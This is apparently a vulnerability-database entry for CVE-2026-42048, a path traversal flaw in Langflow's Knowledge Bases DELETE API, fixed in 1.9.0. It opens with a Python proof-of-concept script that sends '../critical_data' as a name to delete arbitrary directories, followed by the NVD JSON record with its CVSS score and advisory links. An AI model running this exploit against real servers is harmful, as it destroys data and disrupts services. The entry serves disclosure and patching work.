CVE-2026-42048

import requests # Target URL url = "http://target-host:port/api/v1/knowledge_bases" # Headers with authentication token (Low privilege required) headers = { "Authorization": "Bearer <YOUR_ACCESS_TOKEN>", "Content-Type": "application/json" } # Malicious payload using path traversal to delete a directory # The payload attempts to delete a folder named 'critical_data' located one level up from the expected directory payload = { "name": "../critical_data" } try: response = requests.delete(url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful: Directory deletion requested.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-42048", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:23.780", "lastModified": "2026-05-14T12:52:16.603", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.0, Langflow is vulnerable to Path Traversal in the Knowledge Bases API (DELETE /api/v1/knowledge_bases). This occurs because user-supplied knowledge base names are concatenated directly into file paths without proper sanitization or boundary validation. An authenticated attacker can exploit this flaw to delete arbitrary directories anywhere on the server's filesystem, leading to data loss and potential service disruption. This vulnerability is fixed in 1.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.9.0", "matchCriteriaId": "D51A889E-5C89-4A92-B32B-C91EAF735430"}]}]}], "references": [{"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-9whx-c884-c68q", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-9whx-c884-c68q", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}